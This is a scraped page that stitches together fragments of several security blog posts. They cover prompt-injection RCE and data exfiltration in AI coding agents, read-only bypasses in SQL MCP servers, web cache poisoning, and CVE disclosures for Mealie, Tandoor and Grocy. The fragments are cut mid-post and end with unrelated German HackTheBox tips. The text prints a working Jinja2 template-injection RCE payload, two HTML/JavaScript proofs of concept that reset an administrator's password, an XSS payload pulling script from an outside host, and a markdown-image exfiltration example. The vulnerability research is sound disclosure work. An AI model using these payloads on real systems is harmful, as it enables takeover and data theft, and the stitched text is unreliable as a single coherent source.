https://cyber.wtf/2026/04/17/ehealth-simplifyu-cves/

This is the first of four posts about vulnerabilities found in AI coding agents, MCP servers and MCP hosts. This first post provides a non-technical overview of the three projects and their results, while the subsequent three posts delve deeper into each project, including the technical aspects.

TLDR

• Found 25 vulnerabilities in 19 AI Coding Agents with way over 100 million downloads in total. 11x RCE due to autonomous execution of dangerous commands or command allowlist bypasses. 14x data exfiltration via markdown images.
• 5 AI Coding Agents with way over 100 million downloads in total handled MCP servers insecurely leading to RCE and tool poisoning. Furthermore, the REDACTED (will be disclosed soon) was found to be vulnerable to XSS, which could be escalated to RCE. To test the security of such MCP hosts MaliM, an advanced malicious MCP server with several attack techniques, was developed.
• Bypassed the read-only restriction in 17 “read-only” SQL MCP servers, leading to arbitrary data modification and deletion as well as arbitrary file writes. Among these was the official MariaDB MCP server.
• Approximetely 30 minutes of my spare time were spend for each AI Agent and MCP server. This highlights the disastrous state of security and suggests that there are most likely many more vulnerabilities yet to be found.

How did it all begin?

I have been following developments in AI and related vulnerabilities for quite some time. As part of my work as a penetration tester at G DATA Advanced Analytics, I have been working intensively on the topic of “AI application penetration testing” since early 2025, with the aim of developing it as a service. Furthermore, I had often considered searching for new vulnerabilities in AI agents or MCP servers.

In mid-August 2025, I was indirectly inspired by AI security researcher Johann Rehberger (aka “wunderwuzzi”) to become active myself. As an avid reader of his blog, I followed his blog series, The Month of AI Bugs 2025. This led to the inspiration for my first project: to identify remote code execution (RCE) and data exfiltration in AI coding agents that had not yet been discovered by any other researcher.

In October 2025, when this project was completed, I was inspired by the explosion of MCP servers to also find vulnerabilities in them. However, I didn’t want to test MCP servers at random. Instead, I decided to check all “read-only” SQL MCP servers to see if it was possible to circumvent the read-only restriction and manipulate or delete arbitrary data. At the beginning of March 2026, I doubled the number of servers I checked, thus testing all those I could find at that time.

In mid-November 2025, I was inspired by one of my favorite podcasts “Critical Thinking - Bug Bounty Podcast”, for the last of the three projects. In Episode 148 “MCP Hacking Guide”, host and successful bug bounty hunter Justin Gardner aka “Rhynorater” discussed the MCP specification and shared his thoughts on potential vulnerabilities. I was surprised to learn that there is still no comprehensive tool or MCP server that can check MCP hosts for vulnerabilities. I thoroughly reviewed the specification and created an exploit for each potential vulnerability of MCP hosts. I then bundled these exploits in the malicious MCP server, MaliM ("Malicious MCP Server"). Since then, I have regularly tracked changes and innovations in the MCP protocol, considering whether they could pose a security risk and be exploited by MaliM.

Project 1: RCE and Data Exfiltration in AI Coding Agents

Indirect prompt injections are unavoidable. Therefore, I aimed to verify whether indirect prompt injections could cause AI coding agents to exfiltrate data or execute commands (RCE).

Targets

My targets were AI coding agents that:

• Have more than one million downloads/users
• Have not yet been tested by security researcher Johann Rehberger, aka “wunderwuzzi” :)

The following 18 AI coding agents were therefore examined:

• REDACTED
• Alibaba’s Lingma
• REDACTED
• Windsurf IDE
• Windsurf Plugin for VSCode/Intellij
• Intellij’s Junie
• REDACTED
• Cline
• Codegeex
• Sourcery
• Amazon’s Kiro
• Amazon’s Q Developer
• Qodo
• Kilo
• RooCode
• Mistral-Vibe
• Qoder IDE
• Qoder Plugin for Intellij

Three were REDACTED due to private bug bounty programs and/or legal reasons. Mistral and Qoder were tested as well, even though they did not meet the criteria of having at least one million downloads or users, because they ranked high in search queries. There are no official download figures for Kiro and Windsurf. Nevertheless, it can be assumed that they are among the most widely used AI coding agents.

Methods

There are many ways to perform data exfiltration and RCE. Here, I have limited myself to the following techniques:

• Command Execution via dangerous commands in allowlist (e.g. find is allowed and arbitrary commands can be run with the -exec ARBITRARY_COMMAND flag)
• Command Execution via allowlist bypass (e.g. whoami is allowed and arbitrary commands can be run with whoami $(ARBITRARY_COMMAND)).
• Command Execution via malicious MCP config file (a project with a malicious MCP config file is opened, containing instructions to run a STDIO MCP Server via ARBITRARY_COMMAND)
• Data Exfiltration via markdown image (e.g. instructing the Agent to render the image ![test](https://attacker.example?m10x) but replacing m10x with sensitive information). For some agents, bypassing the CSP which prevented exfiltration was necessary.

The AI coding agents were always used in their default configuration.

Results

19 of the 20 AI coding agents examined had RCE or data exfiltration vulnerabilities. Amazon’s Q Developer was the only agent not vulnerable to the attack methods. It later came to light that Johann Rehberger had successfully exploited and reported these vulnerabilities. The vulnerabilities had therefore already been fixed, though this had not yet been publicly announced at the time of my tests.

The AI coding agents with known vulnerabilities have been downloaded way over 100 million times. However, two of the most popular agents, Windsurf and Kiro, do not disclose their download figures and were therefore not included in the calculation.

Project 2: Bypassing the Read-Only Restrction in SQL MCP Servers

There are countless MCP servers for everything under the sun. To limit the pool of servers to be examined, I decided to test “read-only” SQL MCP servers and circumvent the read-only restriction.

Targets

My targets were SQL MCP servers that:

• Have technical measures in place to enforce read-only operations
• Do not explicitly recommend restricting the permissions of the SQL user.
• Can connect to SQLite, MySQL, MariaDB, PostgreSQL, or MSSQL servers.

The following 19 read-only SQL MCP were therefore examined:

• sqlite-reader-mcp
• sqlite-explorer-fastmcp-mcp-server
• mcp-mysql-server
• mcp-server-mariadb
• simple-mysql-mcp-server
• mcp-server-mysql
• db-mcp-server (inspected both the mysql and postgresql mode)
• MariaDB/mcp (MariaDB’s official MCP server)
• 9x REDACTED
• postgres-mcp

Due to responsible disclosure, nine of the tested MCP servers will be disclosed in early June.

Methods

I investigated whether the “read-only” restriction was implemented insecurely. This included the following:

• Does the command allowlist permit state-changing commands?
• Is the command denylist insufficient?
• Can the deny/allow list checks be bypassed?
• Are there other vulnerabilities that become apparent during testing? Many great SQL quirks and inconspicuous commands were exploited. Even classic SQL injections based on the simple concatenation of user input in queries were identified. :)

Results

Vulnerabilities were found in 18 of the 19 examined MCP servers. In 14 cases, the read-only restriction could be bypassed. As an outcome of this, RCE is possible in the case of Postgres, and database user passwords can be changed in the case of MySQL. In another 14 cases, it was possible to read or write files on the server.

Project 3: Developing a Malicious MCP Server to Exploit insecure MCP Hosts

Targets

Not all AI coding agents support MCP servers. Furthermore, the MCP server configuration and use were not fully developed for a few of the AI coding agents. MaliM’s development also took a long time, which is why I only tested six MCP hosts.

The following 5 AI coding agents were therefore examined:

• JetBrains’ AI Assistant
• Windsurf IDE
• ZED
• REDACTED
• REDACTED
• Cursor

Furthermore, REDACTED (will be disclosed soon), was tested as well. Due to responsible disclosure, one of the tested AI coding agents will not be announced for several weeks or months.

MaliM

MaliM is a Malicious MCP server that I developed for this project. Apart from a few minor proof-of-concepts (PoCs), I was surprised that there is still no MCP server available to fully test MCP hosts for vulnerabilities, such as insecure handling of MCP servers. I took a close look at the MCP specification and FastMCP documentation, considering potential attacks. I placed XSS, template injection, and prompt injection payloads in various locations, including the server name, description, icons, tool names, descriptions, icons, log and error messages, annotations, metadata, and tags. Furthermore, “advanced” MCP features, such as elicitation and sampling, are used to check how the MCP host reacts to them and whether they can be exploited.

Methods

The MCP hosts were connected to MaliM, and the following checks were performed, among others:

• Are MCP tools only executed after user confirmation?
• Can the user see the parameters with which the tool is executed?
• Can the user see which server the tool belongs to?
• Is data from the MCP server displayed insecurely (XSS or template injection)?
• Can the user view data from the MCP server included in the AI agent’s prompt?

Results

With the exception of Cursor, all of the AI coding agents examined were found to handle MCP servers in an insecure manner. The consequences varied and included the following:

• Data from the MCP server is embedded in the prompt for the AI agent, though it is not displayed to the user (indirect prompt injection)
• Users do not have to confirm execution of MCP tools (data exfiltration)
• MCP tool calls are not displayed if the tool returns an error (covert tool invocations)
• Users are shown insufficient information for confirmation (e.g., parameters or MCP server name are missing)

Conclusion

The three projects revealed that the security of AI coding agents and MCP servers is still far from adequate. The fact that serious vulnerabilities were found in almost all of the examined AI agents and MCP servers within 5-30 minutes speaks for itself. In total, 58 vulnerabilities were identified in 37 products. These vulnerabilities include RCEs, data exfiltration, read-only bypasses, arbitrary file writes/reads, port scanning, XSS, tool poisoning, and tool spoofing. In total, the vulnerabilities affect well over 220 million downloads of AI coding agents, especially considering that Windsurf and Kiro do not disclose download figures.

Unfortunately, many AI companies are not particularly interested in the security of their products when it comes to responsible disclosure. Many do not even provide adequate channels through which to report security issues. However, there were a few rays of hope. I would like to highlight ZED, Sourcery, Kiro and MariaDB in particular because they responded quickly and professionally.

Sadly, only a few of the vulnerabilities have been fixed, even though the manufacturers have had well over three months—in most cases, more than six months—to do so. Technical details on the individual projects will be available in the coming months. :)

https://cyber.wtf/2025/09/19/etms-by-andsoft-cves/

Wrote a Web Cache Poisoning scanner tailored for mass scanning that features all the web cache poisoning techniques I know of. Ran it against bug bounties. Found high hundreds of Cache Poisoned Denial of Services (affecting e.g. popular SaaS products, financial and health websites, as well as European governmental websites) as well as two Cached Reflected XSS (= Stored XSS). Cached Poisoned Denial of Service didn’t generate much interest, but XSS earned me good money.

Prolog

In 2021, I chose web cache poisoning as the topic for my bachelor’s thesis. I chose it because of the excellent papers Practical Web Cache Poisoning (2018, James Kettle), Your Cache Has Fallen: Cache-Poisoned Denial-of-Service Attack (2019, Hoai Viet Nguyen, Luigi Lo Iacono, and Hannes Federrath)​, and Web Cache Entanglement: Novel Pathways to Poisoning (2020, James Kettle)​. I gathered all the known web cache poisoning techniques, sorted them into categories, and bundeled them into a scanner: the Web Cache Vulnerability Scanner (WCVS). Additionally, I scanned 51 of the top 1000 websites for web cache poisoning. However, the results weren’t that great. There were too many false positives, and only 11 instances of non-malicious cached content injections.

Nevertheless, throughout the years, I maintained the scanner, fixing bugs and adding and improving techniques. The positive feedback was motivating, and a few bug bounty hunters thanked me for helping them earn good money using the scanner. Every once in a while, I thought about running the scanner against some bug bounties again. This finally led me to my next spare-time project: Improving the scanner and running it against bug bounties!

Automation is Key

Because of my time constraints, I needed to make the process as efficient as possible. Thus, I created scripts for the following:

1. Download a huge list of bug bounty subdomains from Chaos by Project Discovery. In fact, there were over 10 million subdomains!
2. Run httpx (20 instances in parallel) to deduplicate the subdomains and remove the inactive ones, decreasing the number of targets to 56.000.
3. Run WCVS (35 instances in parallel) over them. With all of that automated, I only had to manually review the JSON reports generated by WCVS.

Results

WCVS identified:

• over 600 independent instances of DoS (independent = counting cloud products, such as SaaS and PaaS, only once)
• over 200 independent instances of reflected and cached content injections
• two of these were reflected XSS, which gets escalated to stored XSS due to caching

The vulnerable web apps where:

• Helpcenter SaaS solutions (if you search for a company’s helpcenter, chances are high they are using one of these :) )
• CRM SaaS solutions, App PaaS solutions, Cloud Storages
• European Governments
• (Food) Delivery Services, Car-Sharing Services
• Financial and Health (e.g. doctor appointment scheduling) web applications
• and many more…

Now, let’s move on to the fun stuff: some PoCs :)

XSS via Parameter Pollution

Here we have a blog which reflects the query string. The query string gets JSON encoded but is embedded into a HTML attribute context, which enables XSS. Using the payload "><script/src=https://kirlia.de/xss.js></script> we can load and execute arbitrary javascript files.

All parameters are included in the cache key, but only their first occurence. However, the web app takes the last occurrence. This discrepancy can be exploited. EFor example, you can choose a common parameter, such as utm_source=google.com, and then add utm_source=PAYLOAD.

If you then request the page a second time with only the first benign value, you will receive a cached response.

However, this cached response has the XSS payload embedded :)

XSS due to Open Redirect via X-Forwarded-Host

Here, the webapp tries to load a JavaScript file, resulting in a 302 redirect. However, the target host of the redirect can be modified via the X-Forwarded-Host header. Further, this header is not included in the cache key! Thus we can use X-Forwarded-Host: www.kirlia.de to let the webapp load our JavaScript file at https://www.kirlia.de/agent-app/login.

DOS via X-Forwarded-Scheme

The X-Forwarded-Scheme header overrides the Scheme to http leading the webapp to redirect to https.

This redirect gets cached, leading to an infinite redirect loop, because https://example.com/ redirects to https://example.com/. This is a fairly common problem with Cloudflare.

DOS via Range

The Range header contains an invalid bytes count, leading to a 416 error that gets cached.

DOS via XSS Payload

A header contains a XSS Payload leading to a 403 Forbidden, which gets cached.

DOS via X-Amz-Website-Redirect-Location (AWS specific)

The X-Amz-Website-Redirect-Location is AWS specific. An invalid value may lead to an error message which gets cached.

DOS via too large Header Fields (HHO)

If the cache can support a larger header field than the web server, it may forward requests with large header fields to the web server. The web server will return an error, which will be cached.

DOS via X-Rewrite-URL (Craft CMS specific)

X-Rewrite-Url can be used for Craft CMS to request another path than the one specified in the first line of the request. Specifying a non-existent path leads to a 404, while the specification of a path suffering from open redirect may even lead to a cached open redirect.

DOS via X-Middleware-Prefetch (Next.js specific)

X-Middleware-Prefetch: 1 is a Next.js specific quirk which leads to a response containing only {} in its body. Thus we have a DoS with a 200 status code, which tend to get cached way longer than error status codes.

DOS via RSC (Next.js specific, again)

Rsc: 1 is another Next.js specific quirk which leads to the webserver not returning a HTML response, but a react fragment. Once again DoS with a 200 status code.

Further DoS Techniques

There were many other successful DoS techniques, such as metachars in header names, malformed headers, and invalid header values. However, I think those were enough PoCs!

Conclusion

My spare-time project revealed that web cache poisoning is still a significant issue.

1. Caching proxies and/or web servers do not fully comply with RFCs, so they may interpret parts of requests differently.
2. State-changing parts of the request are not included in the cache key. Those configuring the cache need deep knowledge of the web frameworks/libraries used, their quirks, and the functionality of the web application. Most of the time, this will not be the case.
3. Complexity kills. Some websites have more than one cache in front of them. One website even had five. Well, they are probably all configured the same and tailored to the website, right? RIGHT?

I was not surprised that I did not find many instances of XSS. First, a reflected XSS attack must occur in an unauthenticated part of the web application, which has not yet been identified and addressed. Second, the parameters causing the reflected XSS must be poisonable; otherwise, WCVS does not report them. Third, due to the large number of targets, I ran WCVS with limited capabilities (e.g., wordlists with only ~20 entries instead of thousands by default) to speed up the process significantly. Nevertheless, due to hundreds of reports of non-malicious input reflections after investigation, WCVS demonstrated its ability to detect reflections that could lead to XSS when user input is not properly managed. (WCVS only checks for cached reflections of unkeyed input and does not evaluate whether they can be exploited. Whether or not it can be exploited is up to the creativity and context-awareness of humans or specialized content injection scanners.)

However, I was astonished by the huge amount of exploitable cache poisoned denial of service. I tested responsibly with cache busters to avoid interfering with benign users. However, exploiting many of the found DoS vulnerabilities would render many widely popular SaaS and PaaS products inaccessible. Even more critical are the DoS vulnerabilities in the health (Want to book a doctors appointment? Nope, 403.) and financial (Want to look at your funds? Hmm sorry 412.) sectors. Sadly, though, DoS is not applicable to most bug bounty programs. I reported many anyway, not expecting a bounty, but hoping for thankfulness and fixes. However, I was ghosted, or they said “no impact” (well, if your website is unavailable for 30+ minutes after being poisoned, and poisoning can be repeated every 30+ minutes… I guess availability is not business critical for you then?). Hence, after some time, I stopped looking for DoS and only looked for content reflection in the hope of finding XSS or an open redirect. The independent instances of DoS (counting cloud products, such as SaaS and PaaS, only once) were over 600. So, if you visit a website and receive an error response (or even a strange 200 OK response, looking at you, Next.js), check to see if you have a cached response!

I improved my automation so that it looks for new subdomains every day using Chaos and scans them with WCVS. I would like to add one more automation. A notification when a report contains content reflection. Then, I would only need to look at a JSON report if I received a notification. I will not further investigate Cache Poisoned Denial of Service. Technically, it really excites me, and there is still a lot to explore and new techniques to invent. However, the lack of appreciation I received for the instances I reported was not worth the time I invested.

Throughout the project, I made many improvements to WCVS, which will be released in version 2.0 soon [Edit: version 2.0 is released!]. This even resulted in a complete overhaul of the network logic to enable sending requests that violate RFCs, which is not possible with the default Golang net library :) If you know of any web cache poisoning techniques that haven’t been implemented yet, let me know.

This vulnerable version was released soon after I published the second part of my series, ‘All Your Recipe Are Belong to Us’, in which I tested - among others - Tandoor Recipes for vulnerabilities. This highlights the importance of continuous checks!

Overview of the Vulnerabilities

Remediation

The maintainer reacted quickly and professionally. The vulnerability has been fixed in Tandoor Recipes version 2.0.0-alpha-2.

Vulnerabilities in Detail

[CVE-2025-57396] Privilege Escalation (8.8 High)

Users are allowed to update their names:

In this case the following API Call was sent:

The regular user is able to modify the parameters is_staff and is_superuser to true, in order to grant themself those privileges:

Thus, the user has now the staff and admin privileges (just as already revealed by the previous api response)

Timeline

Among them is the recipe manager that I personally use and that gave me the idea for this project: Mealie. Mealie offers “Recipe Management For The Modern Household” and had >7500 stars at the time of testing. Since Mealie introduced new features and many code changes with version 2.0.0 only a month ago (10/22/2024), I thought now would be a good time to test it. I found 4 different Broken Access Control vulnerabilities that can be used for privilege escalation. All 4 vulnerabilities were found in version 2.2.0, although they are most likely present in Mealie since version 2.0.0 or even earlier.

Overview of the Vulnerabilities

Remediation

The three disclosed vulnerabilities have been fixed in version 2.5.0. One undisclosed vulnerability has not yet been fixed.

Vulnerabilities in Detail

[CVE-2024-55073] Users can edit their own profile in order to give themselves more permissions or to change their household (7.6 High)

Users are allowed to edit their own profile:

Upon clicking “Update”, the following API call is sent:

As one can see, the API call contains not only the Username, Full Name and Email, but also a few more attributes such as multiple permissions (canXXX) as well as the householdId the user is belonging to. The current user is not allowed to Invite, Manage nor Organize. However, the “cans” can be changed to true, as well as the householdId set to another one:

Mealie succesfully updates those values. Both of these actions can normally only be done by an administrator. Thus, we’ve escalated our privileges as well as changed our household. The following screenshot shows, that User2 now belong to Household1 instead of Household2 and that User2 is allowed to Manage the household’s members

Getting the id of another household in order to switch to another household is trivial, as one can see all householdIds of the current group.

On a positive note, it was not possible to escalate privileges to administrator or to change to another group.
Nonetheless, we are able to manage households and their members, to invite Members, to organize as well as to take a look/modify/delete other households receipes and shopping lists by switching to that household.

[CVE-2024-55072] Group managers can give themselves more permissions (5.4 Medium)

Group managers are not allowed to change their own permissions:

When a group manager changes a permission of another group member, an API call is issued to the API endpoint PUT /api/households/permissions, which contains the userId of the other group member. If this userId is swapped with the group manager’s own userId, the group manager can change their own permissions.

Thus they escalated their privileges:

[CVE-2024-55071] Not fixed yet :) (5.2 Medium)

…

[CVE-2024-55070] Users can share recipes of other groups (3.1 Low)

Users can only see recipes created in their group, unless a recipe is shared and they know the link. A user can share recipes of his group, leading to a call to the API endpoint POST /api/shared/recipes. By interchanging the recipeId with the recipeId of a recipe which belongs to another group, they are able to share the recipe:

Thus, they are able to view the recipe, too

The users of the other group cannot see that the recipe is being shared.

Normally, the frontend lists all shares of a recipe, but it does not show shares which were issued by users not belonging to that group. Here is an example of what this would normally look like:

Timeline

This included Tandoor Recipes, which had >5800 stars at the time of testing. Here I found 3 vulnerabilities. The first one is a Server-Side Template Injection, through which it was possible to execute commands on the server (Remote Code Execution). The second one is an arbitrary file read vulnerability, that allowed one to read any file on the server. This can be used to obtain various secrets, such as passwords, SSH keys or the Django secret key. The last one is an Unrestricted File Upload, through which it was possible to upload any files. This included HTML and SVG files to achieve Stored XSS.

Overview of the Vulnerabilities

Remediation

The maintainer reacted quickly and professionally. All three vulnerabilities have been fixed in Tandoor Recipes version 1.5.28.

Vulnerabilities in Detail

[CVE-2025-23211] Jinja2 Server-Side Template Injection leading to Remote Code Execution (9.9 Critical)

Users can create recipes and specify instructions for a recipe. The instructions support Jinja2 Template Expression in order to dynamically update e.g. ingredient names and amounts. As this is implemented insecurely, it is possible to achieve Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE).

The payload {{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('whoami',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} executes the command whoami on the server.

As we can see, we can execute commands as the root user!

Reading the environment variables, we can enumerate the Postgres password as well as the SECRET_KEY used by django.

But why is the SSTI payload so long and cryptic? Getting to the point of achieving RCE wasn’t as simple as taking a Hacktricks/PayloadAllTheThings payload and pasting it, but took some time. This is gonna be a long one, but it’s worth it. Trust me.

While this is an open-source project and we could simply look at it’s code to see that it is using Jinja2 as template engine, I want to approach it from a black box perspective.

To detect the template injection and to identify the template engine, we gonna use the Template Injection Table that I’ve created during my master’s thesis (I know, shameless plug…).

First, we’ll use the universal polyglot <%'${{/#{@}}%>{{ which throws an error for all 44 template engines I’ve analyzed.

As we can see, an error is thrown. Unfortunately for us, the error was caught and only a generic error message is displayed. Otherwise Jinja2 would have revealed itself already. So we need to continue identifying the template engine. Since we can see the output of the template engine, we can use the ‘Toggle Error-Based Polyglots’ button to hide the error-based polyglots, as the non-error-based ones are more efficient for identifying a template engine.

We are goint to use the first three universal non-error-based polyglots in order to filter out possible template engines. E.g. when using the first one p ">[[${{1}}]] we receive the output p ">[[$1]]

Just with these three polyglots, we were able to filter out 34 template engines, leaving us with 10 left

Using the specific non-error-based polyglots {#${{1}}#}}, <%=1%>#{2}{{a}} and {{1in[1]}} leaves only Jinja2 as possible template engine!

To exploit the SSTI, we need to create a gadget chain. As a first step for that, we need to be able to access global objects and to recover the <class 'object'>.

However, using the examples from hacktricks, such as [].__class__ will result in an error.

So let’s check (remember, from a black box perspective) what is happening here. When we use {{ "{{ [].__class__ }}" }} in order to let Jinja2 to just print {{ [].__class__ }} as a string, we see that __ is being converted to <strong>.

That’s because markdown is allowed as input and being converted to html! This renders a few needed special characters useless. Among others, we cannot use _, *, `, []().

However, there is still a way to achieve RCE (as you already know :)):

We can use hexencoded underscores (\x5f) if we use Jinja2’s attr filter. So instead of {{ [].__class__ }} we are using {{ []|attr('\x5f\x5fclass\x5f\x5f') }}

We succesfully accessed the global list object!

The next step is now to recover <class 'object'> with {{ []|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f') }}

Done! That’s ez, right? However, when we try to recover all subclasses we receive an error!

Otherwise, we would have seen a list of all available subclasses. Nonetheless, we can enumerate specific subclasses with getitem({SUBCLASS_ID}). Let’s do that with the first subclass unsing {{ []|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(0) }}

The type subclass is not that exciting, right? But what’s exciting is the subprocess.Popen subclass, because it allows us to run arbitrary commands on the server! However, there are hundreds if not thousands of subclasses available.

So let’s bruteforce the right id.

We can see that subprocess.Popen has the id 418!

Now we can use that to create our final payload which we can use to run arbitrary commands on the server: {{[]|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('whoami',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}

(The |attr('decode')('utf-8') pipe makes sure that the output is properly formatted, so that not everything is embedded between ' and '>…)

[CVE-2025-23212] Arbitrary Fileread: Users can read the content of arbitrary files on the server (7.7 High)

Every user has access to “External Recipes”, where they can manage storage folder locations.

So let’s configure an external storage.

We can create a new Storage Backend.

Here we choose Local as Method and specify an arbitrary name, e.g. Insecure

Now, back at the External Recipes page, we can choose the just created local storage and specify a path.

If we specfiy a path which does not exist on the server and try to sync the folder, we receive a FileNotFoundError

Now let’s specify /root as path and sync again

We can see the filenames of all files the root directory contains! If it is a pdf file, we can view it in the frontend after importing it as a recipe.

Files which are not PDF files, won’t get shown by the frontend. However, we can use the API endpoint GET /api/get_recipe_file/{ID}/ in order to receive the contents.

In this case, we can see the content of the /root/.ash_history file, which contains the commands the root user ran.

[CVE-2025-23213] Unrestricted File Upload: Users can upload HTML or SVG files to exploit Stored XSS (8.7 High)

Tandoor has a file upload functionality that every user is allowed to use. Here is a Proof-of-Concept (PoC) HTML file which can be uploaded in order to change the password of the admin user, if they view it.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Automated Request</title>
</head>
<body>
    <h1 id="status">Loading...</h1>
    <script>
        // Function to perform the GET request to fetch the CSRF token
        async function fetchCsrfToken() {
            try {
                const response = await fetch('/admin/auth/user/1/password/', {
                    method: 'GET',
                    credentials: 'include' // Include cookies for authentication
                });
                const text = await response.text();

                // Check if the response contains the "not authorized" message
                if (text.includes('not authorized to access this page')) {
                    throw new Error('not authorized');
                }

                // Extract the CSRF token from the response using a regular expression
                const csrfTokenMatch = text.match(/<input type="hidden" name="csrfmiddlewaretoken" value="(.*?)">/);
                
                if (csrfTokenMatch && csrfTokenMatch[1]) {
                    return csrfTokenMatch[1]; // Return the extracted CSRF token
                } else {
                    throw new Error('CSRF token not found');
                }
            } catch (error) {
                throw error; // Propagate the error to handle it in the main function
            }
        }

        // Function to perform the POST request to update the password
        async function changePassword(csrfToken) {
            const formData = new URLSearchParams();
            formData.append('csrfmiddlewaretoken', csrfToken);
            formData.append('username', 'admin');
            formData.append('password1', 'NewPassword123');
            formData.append('password2', 'NewPassword123');

            try {
                const response = await fetch('/admin/auth/user/1/password/', {
                    method: 'POST',
                    credentials: 'include', // Include cookies for authentication
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded'
                    },
                    body: formData.toString()
                });

                if (response.ok) {
                    return true; // Password update was successful
                } else {
                    throw new Error('Failed to update password');
                }
            } catch (error) {
                throw new Error('Error changing password: ' + error.message);
            }
        }

        // Main function to execute both requests sequentially
        (async function execute() {
            try {
                // Step 1: Fetch the CSRF token
                const csrfToken = await fetchCsrfToken();

                // Step 2: Use the CSRF token to update the password
                const result = await changePassword(csrfToken);

                // Update the page status based on the result
                if (result) {
                    document.getElementById('status').textContent = 'Password updated successfully!';
                }
            } catch (error) {
                // Check if the error is due to "not authorized"
                if (error.message === 'not authorized') {
                    document.getElementById('status').textContent = 'You are not an admin. Send this link to an admin user.';
                } else {
                    // Display other error messages on the page
                    document.getElementById('status').textContent = 'Error: ' + error.message;
                }
            }
        })();
    </script>
</body>
</html>

The File Upload feature has no restrictions on the files that can be uploaded.

However, the filenames are changed to a random UUIDv4 and the filename is not disclosed immediately. To know the filename of our uploaded file we need to specify the file as Custom Theme or as Logo

This way, it is referenced in HTML responses returned by tandoor, revealing its path.

The PoC, if visited, checks whether the user has administrative privileges or not.

If the user has administrative privileges, the password of the admin user is changed to NewPassword123

Now we can login as the administrator.

Timeline

This included Grocy, which had >6900 stars at the time of testing. Here I found 3 vulnerabilities. The first one is an Unrestricted File Upload, through which it was possible to upload any files. This included HTML and SVG files to achieve Stored XSS. The second one is a CSRF vulnerability, because the session token has no security flags set, as well as no CSRF countermeasure is implemented. The last one is “one” Broken Access Control vulnerability: For most functions, only the link in the sidebar is disabled for unauthorized users, but a direct call to the URL or API endpoint allows access to data for which you have no permissions.

Overview of the Vulnerabilities

Remediation

The maintainer stated that they do not care about the vulnerabilities because Grocy is a hobby project and not intended for the use in a sensitive enterprise area. This means that the vulnerabilities probably won’t get fixed.

Vulnerabilities in Detail

[CVE-2024-55074] Unrestricted File Upload: Users can upload HTML or SVG files to exploit Stored XSS (8.7 High)

Users have by default the permission to edit their own profile. There they can upload a profile picture. However it is not validated whether the uploaded file is a benign picture or not. Thus, it is possible to upload malicious HTML or SVG files. As a POC I’ve created the following HTML file:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Update User</title>
</head>
<body>
    <h1 id="status">Loading...</h1>
    <script>
        // Function to perform the PUT request
        async function updateUser() {
            const url = '/api/users/1'; // Target endpoint
            const payload = {
                username: "admin",
                first_name: "",
                last_name: "",
                change_password: "1",
                password: "NewPassword123",
                password_confirm: "NewPassword123"
            };

            try {
                const response = await fetch(url, {
                    method: 'PUT',
                    credentials: 'include', // Include cookies in the request
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(payload) // Convert payload to JSON string
                });

                if (response.ok) {
                    document.getElementById('status').textContent = 'User updated successfully!';
                } else {
                    const errorText = await response.text();
                    document.getElementById('status').textContent = 'Failed to update user: ' + errorText;
                }
            } catch (error) {
                document.getElementById('status').textContent = 'Error: ' + error.message;
            }
        }

        // Execute the request when the page loads
        (async function execute() {
            await updateUser();
        })();
    </script>
</body>
</html>

When the file is viewed by an administrator, the JavaScript will issue a request that changes the password of the user with id 1 (by default an administrator) to NewPassword123. The following screenshot shows the upload function:

After saving the changes, we can see the URL of the uploaded file

We need to remove the appended ?force_serve_as=picture&best_fit_width=32&best_fit_height=32 in order for the file to be executed

As we do not have administrative rights (YET ;)) we receive an error message. However, if an administrator visits the url, the request is successful

Now we can login as the administrator admin with the newly set password NewPassword123

[CVE-2024-45875] CSRF: Change the administrator’s password (6.8 Medium)

The session cookie has no security flags (escpecially SameSite) set

Further no CSRF countermeasures (such as CSRF-Tokens) are implemented at all, leaving all functions vulnerable to CSRF. E.g. see the following request to change the administrator’s password

The same POC as the previous vulnerability can be used, but instead of the relative URL a absolute URL needs to be specified. If an adminstrative user visits this POC on the attacker’s website, the password of the default administrative user will be changed.

[CVE-2024-55074] Broken Access Control: Users can directly call functions, which they are not authorized for (6.5 Medium)

As a starting point, we create a user user with no permissions

The user is not authorized to access most of the functions of the webapp. The links to those functions are deactivated on the sidebar. However the user is still able to access those functions by requesting their URL directly. e.g. we can request /calendar in order to view the calendar and its entries.

A further example are the recipes

This affetcs ALL functions except the user management.

However, it is only possible to view data and not to modify it.

Timeline

https://cyber.wtf/2024/11/11/topqw-webportal-cves/

https://hackmanit.de/de/blog/178-template-injection-vulnerabilities-understand-detect-identify

https://hackmanit.de/de/blog/165-what-is-fido2

https://hackmanit.de/de/blog/169-owasp-api-2023

https://hackmanit.de/de/blog/162-what-is-mfa

https://hackmanit.de/de/blog/156-bola-api-risk

https://hackmanit.de/de/blog/155-how-to-secure-apis

https://hackmanit.de/de/blog/145-web-cache-vulnerability-scanner-wcvs-free-customizable-easy-to-use

https://hackmanit.de/de/blog/142-is-your-application-vulnerable-to-web-cache-poisoning

Tipps

Wir müssen auf eine Webseite zugreifen, auf welche wir keinen Zugriff von außen haben, allerdings von einer anderen Webseite aus!

Ein Teil von Kotarak wird auch in der HackTheBox Maschine Jerry behandelt, allerdings brauchen wir erstmal das Tomcat Admin Passwort

Alle wichtigen Informationen zur Privilege Escalation befinden sich im /root Verzeichnis

Video

Anleitung

